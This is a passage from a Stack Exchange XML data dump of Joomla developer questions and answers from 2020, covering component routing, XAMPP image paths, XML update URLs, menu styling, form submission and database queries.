CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27869" PostTypeId="2" ParentId="27864" CreationDate="2020-04-01T09:42:19.097" Score="1" Body="&lt;p&gt;The approach given above seemed like it should work because it does. However, if your class is a little more complex than my example and you have a &lt;code&gt;__construct()&lt;/code&gt; function don't forget to call &lt;code&gt;parent::__construct()&lt;/code&gt; or it won't initialise the list of paths to search for your custom views and you will end up with this error message.&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2020-04-01T09:42:19.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27871" PostTypeId="1" CreationDate="2020-04-01T17:10:07.713" Score="0" ViewCount="211" Body="&lt;p&gt;I have installed my Joomla website in localhost, server address is settle as &quot;localhost&quot;, the site is working fine, I can browse through everything, the problem is that part of the layout is broken, also, there are images which are not loading. I searched for a solution everywhere, which I could not find, since this is a complex thing, here, let me explain it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following path settle&#xA;/go/images/cupcakes.jpg in one of my articles, to display a cupcake image.&#xA;When the website was up, it was working just fine. In localhost it isn't, why?&#xA;Because I'm the site is installed in a folder, so whether there's an image relative path configured in a page or in the template, the site will refer to the root of localhost, not to the folder where the site is installed. So basically I should have installed the website in the root of htdocs folder in XAMPP, but I can't do that. How can I fix that, just so the entire Joomla framework knows that the folder where it's installed is the root folder and only point the relative paths to there? I would be able to fix that in a cPanel Linux server, but I'm totally lost in Xampp.&lt;/p&gt;&#xA;" OwnerUserId="2055" LastActivityDate="2020-08-29T19:06:10.650" Title="Some images (also layout) is broken after installing Joomla in localhost" Tags="|joomla-3.6|localhost|xampp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27872" PostTypeId="2" ParentId="27871" CreationDate="2020-04-01T18:57:01.067" Score="1" Body="&lt;p&gt;You've done the right thing in installing Joomla in a subdirectory rather than the root folder which XAMPP uses. This allows you to install multiple websites on your machine, one in each subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your problem is that your path /go/images/cupcakes.jpg is an absolute path rather than a relative path, which is indicated by the leading /. Joomla uses relative paths from the folder in which it was installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your cupcakes.jpg file is in the images folder under where Joomla is installed, then use &quot;images/cupcakes.jpg&quot; instead. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-01T18:57:01.067" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27874" PostTypeId="2" ParentId="27860" CreationDate="2020-04-02T15:26:56.327" Score="0" Body="&lt;p&gt;I have found a solution: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 . Verify your table file (make sure the table and the class name is correct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 . Make sure your class (in table file) extends JTable and not JTableNested if you don't need parent_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 . Verify all of your class and table names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 . Make sure your database user has permissions.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;You can also uninstall and reinstall your component (don't forget to fix the database before reinstalling it)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can fix the database by going to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions &gt; Manage &gt; Database&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;then click on &quot;Fix&quot;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-04T11:14:11.140" LastActivityDate="2020-04-04T11:14:11.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27876" PostTypeId="1" AcceptedAnswerId="27878" CreationDate="2020-04-02T17:49:28.420" Score="0" ViewCount="419" Body="&lt;p&gt;I'm trying to create a friendly URL for a custom component but i can't manage to find a solution.&#xA;I have tried JRoute but it hasn't worked out for me (probably i'm not doing it right). Does anybody have any idea? I have created the router file and i read the documentation but i couldn't understand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;place?id=113?cat=3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i wanted it to be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;place/113/3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after implementing all methods i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Argument 1 passed to ComponentRouter::__construct() must be an&#xA;  instance of CMSApplication or null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContentRouter implements Joomla\CMS\Component\Router\RouterInterface&#xA;&#xA;{   &#xA;&#xA;    public function __construct(CMSApplication $app = null, AbstractMenu $menu = null)&#xA;    {&#xA;        $category = new RouterViewConfiguration('category');&#xA;        $category-&amp;gt;setKey('id')-&amp;gt;setNestable();&#xA;        $this-&amp;gt;registerView($category);&#xA;        $article = new RouterViewConfiguration('article');&#xA;        $article-&amp;gt;setKey('id')-&amp;gt;setParent($category, 'catid');&#xA;        $this-&amp;gt;registerView($darticle);&#xA;&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new MenuRules($this));&#xA;        $this-&amp;gt;attachRule(new StandardRules($this));&#xA;        $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;    }&#xA;&#xA;    /* the other methods go here&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if &lt;code&gt;Joomla\CMS\Component\Router\RouterInterface&lt;/code&gt; is the right class to be implement since there's no many examples but i followed along with the tutorial, i have implemented all the 3 methods and i yet get that error.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-03T12:24:33.280" LastActivityDate="2020-04-03T12:24:33.280" Title="Friendly URL for a custom component" Tags="|joomla-3.x|custom-component|jroute|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="27878" PostTypeId="2" ParentId="27876" CreationDate="2020-04-03T06:23:34.020" Score="1" Body="&lt;p&gt;You have to create a router for your component for &lt;code&gt;JRoute::_()&lt;/code&gt; to do anything. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Supporting SEF URLs in your component&lt;/a&gt; documentation. I suggest looking specifically at &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#A_Simple_View-based_Example&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simple View-based Example&lt;/a&gt; which uses a new way of working with routing.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-03T06:23:34.020" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="27879" PostTypeId="1" CreationDate="2020-04-03T10:04:28.537" Score="0" ViewCount="49" Body="&lt;p&gt;How do I add an extra column in the admin user manage table? I want the registration form to have a unique member number for me to assign a new user with, I then also want the member number to be shown on the user manage list for me to search with. Is this a possibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen how to add a new field to the registration form but not sure how to connect it to the user database table, and display it on the user manage list.&lt;/p&gt;&#xA;" OwnerUserId="14191" LastEditorUserId="14191" LastEditDate="2020-04-03T13:17:11.443" LastActivityDate="2020-04-03T13:17:11.443" Title="Add New Column in Admin user manage table" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="27880" PostTypeId="1" AcceptedAnswerId="27881" CreationDate="2020-04-03T13:36:04.393" Score="0" ViewCount="27" Body="&lt;p&gt;i have created a new component and when i want add auto update to it using the Akeeba Release System compoennt , also i have done avery thing , but when i want add the : server xml file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;&amp;lt;server type=&quot;extension&quot; priority=&quot;1&quot; name=&quot;WHM Portfolio&quot;&amp;gt;http://site.com/index.php? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;option=com_ars&amp;amp;view=update&amp;amp;task=stream&amp;amp;format=xml&amp;amp;id=1&amp;amp;dummy=extension.xml&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it give this error : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning&#xA;JInstaller: :Install: Can't find Joomla XML setup file.&#xA;Error&#xA;Unable to find install package&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also this is only because of the safe url when use any other ull like :&#xA;&lt;a href=&quot;http://site.com/extension.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://site.com/extension.xml&lt;/a&gt;  it works &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also i have added  the  &quot;&amp;amp;dummy=extension.xml&quot; to the Akeeba Release System – Update Streams xml url &#xA;but still not work ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any fix for this please ?&lt;/p&gt;&#xA;" OwnerUserId="12178" LastActivityDate="2020-04-03T14:08:13.007" Title="Akeeba Release System – Update Streams non sef url" Tags="|one-click-updates|extension-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27881" PostTypeId="2" ParentId="27880" CreationDate="2020-04-03T14:08:13.007" Score="0" Body="&lt;p&gt;Ampersands (&lt;code&gt;&amp;amp;&lt;/code&gt;) have to be escaped in XML. Your URL should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://site.com/index.php?option=com_ars&amp;amp;amp;view=update&amp;amp;amp;task=stream&amp;amp;amp;format=xml&amp;amp;amp;id=1&amp;amp;amp;dummy=extension.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-03T14:08:13.007" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27882" PostTypeId="1" CreationDate="2020-04-03T15:53:21.357" Score="0" ViewCount="37" Body="&lt;p&gt;I want to insert a form in a default.php file and post it to the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should it be done? By adding an XML form or creating a regular HTML form and posting it to the database through a function in a controller file? What's the best way to get it done? &lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-04-03T15:53:21.357" Title="Display a form and post it to dabase" Tags="|joomla-3.x|database|form|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="27883" PostTypeId="1" CreationDate="2020-04-03T16:13:13.410" Score="1" ViewCount="214" Body="&lt;p&gt;My (J3.9.16) website has a horizontally aligned mainmenu for larger screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine on my iPad. If I tap on a parent item the child dropdown menu is displayed and if I tap the parent again, the child dropmenu closes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens on a desktop with a mouse: hovering over the parent opens the child dropdown menu and then moving closes the child dropdown menu (moving the cursor down onto the dropdown menu leaves it open, of course, to enable child item selection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DzHqJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DzHqJ.jpg&quot; alt=&quot;Before&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT... clicking on the parent item (which visitors might do if they're not sure whether there's any content on that link) when the child menu is open results in the child menu moving slightly up and to the right but not closing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M7Hzg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M7Hzg.jpg&quot; alt=&quot;After click&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The html in Firefox (but also similar in Chrome) code changes from this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav-child dropdown-menu&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav-child dropdown-menu show&quot; x-placement=&quot;bottom-start&quot; style=&quot;position: absolute; transform:translate3d(8px, 30px, 8px, 0px); top: 0px; left 0px; will-change: transform;&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't override it with css as inline takes priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) stop the browsers adding this code, and &#xA;b) WITHOUT jQuery, but vanilla Javascript is ok if absolutely necessary, make clicking with a mouse on a parent item close the child dropdown menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2020-04-09T10:37:47.943" Title="Unwanted transform translate3d effect in menu" Tags="|joomla-3.x|css|menu|submenu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27884" PostTypeId="2" ParentId="27883" CreationDate="2020-04-03T16:24:04.167" Score="0" Body="&lt;p&gt;I'm not sure if i got it right but you can try changing the core files of the menu and try to remove the inline css code (if that is causing the problem). You can yet add media queries to your css file to verify the screen size and apply different translate 3D effects (or any other style) to your menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core files of your menu usually lie in &lt;code&gt;modules\mod_menu\tmpl&lt;/code&gt; alternatively (and the most recommended), you can override your menu &lt;code&gt;default.php&lt;/code&gt; file by adding this to your template folder: &lt;code&gt;templates/your-template/html/mod_menu/default.php&lt;/code&gt; &#xA;copy the &lt;code&gt;default.php&lt;/code&gt; file from &lt;code&gt;modules\mod_menu\tmpl&lt;/code&gt; to &lt;code&gt;templates/your-template/html/mod_menu/&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-09T10:37:47.943" LastActivityDate="2020-04-09T10:37:47.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27885" PostTypeId="1" AcceptedAnswerId="27887" CreationDate="2020-04-03T16:45:59.403" Score="0" ViewCount="21" Body="&lt;p&gt;i have created a portfolio component that use text editor , and i want add the Load Modules button unther the text editor , normaly it load the button automatickly on joomla articles ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also is there any way to add it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;amine&lt;/p&gt;&#xA;" OwnerUserId="12178" LastActivityDate="2020-04-03T18:06:25.810" Title="add Load Modulesbutton to text editor" Tags="|joomla-3.x|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27887" PostTypeId="2" ParentId="27885" CreationDate="2020-04-03T18:06:25.810" Score="1" Body="&lt;p&gt;Assuming you're using the Form API, add &lt;code&gt;buttons=&quot;true&quot;&lt;/code&gt; attribute to your editor field. Example from article form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;articletext&quot;&#xA;    type=&quot;editor&quot;&#xA;    label=&quot;COM_CONTENT_FIELD_ARTICLETEXT_LABEL&quot;&#xA;    description=&quot;COM_CONTENT_FIELD_ARTICLETEXT_DESC&quot;&#xA;    filter=&quot;JComponentHelper::filterText&quot;&#xA;    buttons=&quot;true&quot;&#xA;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-03T18:06:25.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27888" PostTypeId="1" CreationDate="2020-04-03T19:33:31.827" Score="3" ViewCount="726" Body="&lt;p&gt;I created a Joomla website which has some forms to be filled. Is it possible to link this form to a database that a flutter mobile application I developed can retrieve data from?&lt;/p&gt;&#xA;&lt;p&gt;For example, the website has a form to fill with a person's details and on the mobile app, I have a page to display this information in the desired way. I just need to know how to link My Joomla website to the application.&lt;/p&gt;&#xA;" OwnerUserId="14193" LastEditorUserId="12352" LastEditDate="2021-11-24T22:12:27.237" LastActivityDate="2021-11-25T05:09:09.777" Title="Linking JOOMLA! database to a flutter application" Tags="|joomla-3.x|mysql|database|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="27889" PostTypeId="1" CreationDate="2020-04-03T20:27:54.593" Score="0" ViewCount="44" Body="&lt;p&gt;Is there any plugin that can load banner &quot;id x&quot; from banner component? Or is there any other way, but not with {loadmoduleid x}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2020-04-03T20:27:54.593" Title="Load banner in Joomla article" Tags="|plugin|articles|com-banners|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27890" PostTypeId="1" CreationDate="2020-04-04T14:02:58.877" Score="0" ViewCount="344" Body="&lt;p&gt;I want to remove /index.php/ from the URLs in Joomla 3.x. I enabled &amp;quot;Use URL Rewriting&amp;quot; in the configuration. It removed the /index.php/ but leads to error 404. Except for the home page.&lt;/p&gt;&#xA;" OwnerUserId="14194" LastEditorUserId="13472" LastEditDate="2021-06-03T09:49:07.420" LastActivityDate="2021-06-03T09:49:07.420" Title="Removing /index.php/ from URLs in Joomla 3.x leads to Error 404" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27891" PostTypeId="1" AcceptedAnswerId="28092" CreationDate="2020-04-04T14:06:13.647" Score="2" ViewCount="3342" Body="&lt;p&gt;I'm working on a custom Joomla module that has an input field, where users can start typing the name of a city and the field offers a list of cities using the Google Places autocomplete API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic functionaly works fine, except that when the page loads I get the following JS error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This site overrides Array.from() with an implementation that doesn't support iterables, which could cause Google Maps JavaScript API v3 to not work correctly&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect that this error causes that I cannot further refine the google search results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I figure out what part of my Joomla site overrides Array.from() and how could I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, &#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2020-05-24T13:10:12.157" Title="Joomla site overrides Array.from() causing Google Maps JavaScript API v3 to not work correctly" Tags="|joomla-3.x|javascript|google|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27892" PostTypeId="2" ParentId="27890" CreationDate="2020-04-04T14:15:23.757" Score="0" Body="&lt;p&gt;Rename htaccess.txt to .htaccess&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2020-04-04T14:15:23.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27893" PostTypeId="2" ParentId="27890" CreationDate="2020-04-04T15:04:35.453" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename htaccess.txt to .htaccess (as @Midhat said)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;htaccess is needed to make your urls friendly. It comes with a .&quot;txt&quot;&#xA;  extension   by default.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your server has mod rewrite on &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To enable mod rewrite open your &lt;code&gt;httpd.conf&lt;/code&gt; file (in your server&#xA;  folder) search for &lt;code&gt;mod_rewrite&lt;/code&gt;. If there's any &quot;#&quot; in front of&#xA;  &lt;code&gt;mod_rewrite&lt;/code&gt;, take it out and save the file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your httpd.conf is correctly configured&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it may be hard to find the correct configuration for the &lt;code&gt;httpd.conf&lt;/code&gt;&#xA;  file, so after following the first two steps above, and you still get&#xA;  the error, i suggest you either changing your local server (if it's a&#xA;  local host) or contacting your hosting service to check the server&#xA;  configuration&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-08T23:54:33.883" LastActivityDate="2020-04-08T23:54:33.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27896" PostTypeId="2" ParentId="27883" CreationDate="2020-04-05T10:54:26.103" Score="1" Body="&lt;p&gt;I did manage to solve it in the end, although I still have no idea why the inline code - which was added by Firefox, not me - was added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I compared the html/css class code for the menu with another menu that wasn't doing the same thing. This code was faulty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;nav id=&quot;topmenu&quot;&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;countModules('mainmenu')) : ?&amp;gt; &#xA;    &amp;lt;div id=&quot;mainmenu&quot; class=&quot;mr-auto ml-auto d-none d-lg-block&quot;&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;mainmenu&quot; style=&quot;none&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this is ok:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;topmenu&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainmenuwrapper&quot; class=&quot;mr-auto ml-auto d-none d-lg-block&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;navbar navbar-expand-lg&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;mainmenu&quot; class=&quot;navbar&quot;&amp;gt;    &#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;mainmenu&quot; style=&quot;none&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The menus were built using a Joomla template override, but I didn't have to make any changes to this, just the code above.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2020-04-05T10:54:26.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27897" PostTypeId="1" AcceptedAnswerId="27898" CreationDate="2020-04-06T12:46:56.677" Score="0" ViewCount="40" Body="&lt;p&gt;I have a form in Joomla that uses XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form action=&quot;index.php?option=com_content&amp;amp;view=contents&quot; method=&quot;post&quot; id=&quot;adminForm&quot; name=&quot;adminForm&quot;&amp;gt;&#xA;        &amp;lt;?php $this-&amp;gt;form-&amp;gt;renderFieldset(&quot;visitorDetails&quot;) ?&amp;gt;&#xA;       &amp;lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot; onclick=&quot;Joomla.submitbutton('controller.send')&quot; &amp;gt;Send&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works fine, the problem is that when i want to change the ID from &lt;code&gt;adminForm&lt;/code&gt; to any other name, it won't work. Does Joomla only accept &lt;code&gt;adminForm&lt;/code&gt; as ID?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-06T13:58:46.493" LastActivityDate="2020-04-06T13:58:46.493" Title="Using a different id name for Joomla forms" Tags="|joomla-3.x|jform|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27898" PostTypeId="2" ParentId="27897" CreationDate="2020-04-06T13:54:27.277" Score="1" Body="&lt;p&gt;Most form views in core components have custom &lt;code&gt;Joomla.submitbutton()&lt;/code&gt; functions. Standard function does indeed support only &lt;code&gt;adminForm&lt;/code&gt; as form ID. Instead you can use &lt;code&gt;Joomla.submitform()&lt;/code&gt; and pass your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot; onclick=&quot;Joomla.submitform('controller.send', this.form)&quot; &amp;gt;Send&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-06T13:54:27.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27899" PostTypeId="1" AcceptedAnswerId="27900" CreationDate="2020-04-06T18:59:01.280" Score="2" ViewCount="134" Body="&lt;p&gt;I have the following query: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $query-&amp;gt;select('date')    &#xA;         -&amp;gt;from('#__db_reports')&#xA;         -&amp;gt;where($db-&amp;gt;quote('date &amp;lt; NOW() - INTERVAL 30 DAY'))&#xA;         $db-&amp;gt;setQuery($query);&#xA;         $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the query won't work. &#xA;I have already tried to execute the query directly in the MySQL Console and it's worked but not in Joomla. All other queries work but not that one with INTERVAL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't give me any error, it just doesn't do what it's supposed to do.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2023-04-15T06:45:27.543" Title="Query with INTERVAL won't work" Tags="|joomla-3.x|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27900" PostTypeId="2" ParentId="27899" CreationDate="2020-04-06T19:19:48.307" Score="2" Body="&lt;p&gt;The expression should not be quoted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where('date &amp;lt; NOW() - INTERVAL 30 DAY')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-06T19:19:48.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27901" PostTypeId="1" CreationDate="2020-04-06T23:18:13.480" Score="0" ViewCount="65" Body="&lt;p&gt;I need to display iframe in plugin settings. Iframe will be have src=&quot;https://somepage.../&amp;lt;=$adminEmail?&gt;/&amp;lt;=$domain?&gt;&quot;. So i need to show iframe and pass parameters of admin login and page domain with php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;&amp;lt;scriptfile&amp;gt;example.script.php&amp;lt;/scriptfile&amp;gt;&lt;/code&gt; to show such iframe after plugin install. Is there something methods like this to display php content in plugin description?&lt;/p&gt;&#xA;" OwnerUserId="14197" LastEditorUserId="14197" LastEditDate="2020-04-07T16:44:48.487" LastActivityDate="2023-12-19T19:02:05.230" Title="How to add custom php in plugin settings?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27902" PostTypeId="2" ParentId="24919" CreationDate="2020-04-07T02:23:57.443" Score="1" Body="&lt;p&gt;This may not be a 100% perfect approach to this, but it is the solution that I have used for years and it works with no issues. It will allow you to create individual menu items per layout as you requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your default.xml file for your view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;My View Title&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&amp;lt;![CDATA[This is my custom view title]]&amp;gt;&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;_layout&quot;&#xA;                type=&quot;list&quot;&#xA;                label=&quot;Custom Layouts&quot;&#xA;                description=&quot;Available View Layouts&quot;&#xA;                required=&quot;true&quot;&#xA;            &amp;gt;&#xA;                &amp;lt;option value=&quot;-1&quot;&amp;gt;Choose a Layout&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;default&quot;&amp;gt;Layout 1&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;layout2&quot;&amp;gt;Layout 2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    